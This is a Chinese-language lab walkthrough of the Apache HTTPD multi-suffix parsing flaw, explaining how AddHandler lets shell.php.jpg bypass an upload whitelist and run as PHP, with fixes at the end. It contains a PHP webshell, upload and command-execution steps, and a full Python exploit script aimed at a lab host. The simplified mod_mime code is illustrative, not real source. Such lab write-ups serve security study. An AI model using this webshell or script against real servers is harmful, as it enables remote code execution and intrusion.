漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞名称 | Apache HTTPD 多后缀解析漏洞 |
| 影响版本 | Apache HTTPD(配置 AddHandler 时通用) |
| 靶场版本 | Apache HTTPD + PHP 7.1.3 |
| 漏洞类型 | 文件上传绕过 / 解析漏洞 |
| 靶机地址 | http://192.168.229.60 |
漏洞原理
Apache HTTPD 支持一个文件拥有多个后缀,处理时从左到右依次匹配后缀对应的处理器(Handler)。当配置中存在以下指令时:
AddHandler application/x-httpd-php .php
Apache 只要在文件名中任意位置 检测到 .php 后缀,就会调用 PHP 处理器来执行该文件,无论文件最终的后缀是什么。
源码分析(mod_mime.c)
Apache 的 mod_mime 模块在处理多后缀文件时,核心逻辑位于 mod_mime.c 的 ap_mime_extension_matches() 或类似的扩展名匹配函数中。
关键流程:
-
Apache 收到文件请求 → 从文件名中逐个提取后缀 (如
shell.php.jpg→ 提取出.php和.jpg) -
每提取一个后缀,就在
AddHandler/AddType/AddCharset等配置中查找匹配 -
如果任意后缀匹配到某个 Handler,则整个文件按照该 Handler 处理
简化伪代码逻辑:
// mod_mime.c (简化的匹配逻辑)
char *ext = strrchr(filename, '.');
while (ext != NULL) {
// 查找是否有 AddHandler 匹配此后缀
handler = find_handler(ext);
if (handler) {
return handler; // 一旦匹配就返回!不继续检查后续后缀
}
// 继续往前找下一个后缀
*ext = '\0'; // 截断当前位置
ext = strrchr(filename, '.');
}
由于 Apache 是按顺序逐个后缀匹配 ,遇到 .php 立即返回 PHP Handler,而 .jpg 作为最后一个后缀只是用于欺骗白名单检查。
漏洞利用链
文件名: shell.php.jpg
↑ ↑
PHP handler 仅用作白名单绕过
(AddHandler匹配) (pathinfo检查不通过)
-
上传白名单只检查最后一个后缀
.jpg✅ -
Apache 解析时检测到
.php,以 PHP 执行 ✅ -
攻击者实现 RCE(远程代码执行)
攻击步骤
Step 1:访问上传页面
http://192.168.229.60/
页面显示一个文件上传表单。
Step 2:构造恶意文件
创建 shell.php.jpg:
<?php
system($_GET['cmd']);
?>
或直接使用 phpinfo:
<?php phpinfo(); ?>
Step 3:上传文件
通过表单上传 shell.php.jpg,预期返回:
File uploaded successfully: /var/www/html/uploadfiles/shell.php.jpg
Step 4:访问上传文件触发执行
http://192.168.229.60/uploadfiles/shell.php.jpg?cmd=id
预期返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 5:验证多后缀解析
也可以直接访问自带的测试文件:
http://192.168.229.60/uploadfiles/apache.php.jpeg
该文件包含 phpinfo(),访问后可以看到 PHP 信息页面,说明 .jpeg 后缀的文件仍被作为 PHP 执行。

Python版完整利用脚本
#!/usr/bin/env python3
import requests
import sys
TARGET = "http://192.168.229.60"
UPLOAD_URL = f"{TARGET}/"
SHELL_URL = f"{TARGET}/uploadfiles/shell.php.jpg"
def upload_shell():
"""上传 PHP webshell(多后缀绕过)"""
payload = b'<?php system($_GET["cmd"]); ?>'
files = {'file_upload': ('shell.php.jpg', payload, 'image/jpeg')}
r = requests.post(UPLOAD_URL, files=files)
print(f"[+] Upload: {r.text}")
return "successfully" in r.text
def exec_cmd(cmd):
"""通过 webshell 执行命令"""
r = requests.get(SHELL_URL, params={'cmd': cmd})
return r.text.strip()
if __name__ == "__main__":
if upload_shell():
print("[+] Shell uploaded!")
if len(sys.argv) > 1:
print(exec_cmd(" ".join(sys.argv[1:])))
else:
print(exec_cmd("id"))
print(exec_cmd("ls -la /var/www/html/"))
else:
print("[-] Upload failed")
关键要点总结
-
✅ Apache
AddHandler会对文件名中任意位置匹配到的后缀生效 -
✅ PHP 代码
pathinfo($name, PATHINFO_EXTENSION)只取最后一个后缀做白名单校验 -
✅ 上传
shell.php.jpg/shell.php.jpeg/shell.php.png均可绕过 -
✅ 该漏洞本质是Apache 配置不当,非 Apache 自身代码 bug
-
✅ 修复方式:使用
AddType application/x-httpd-php .php替代AddHandler,或限制文件上传后重命名 -
⚠️ Windows 下文件名后缀分隔符为
.,逻辑类似但可结合::$DATA等 NTFS 流特性绕过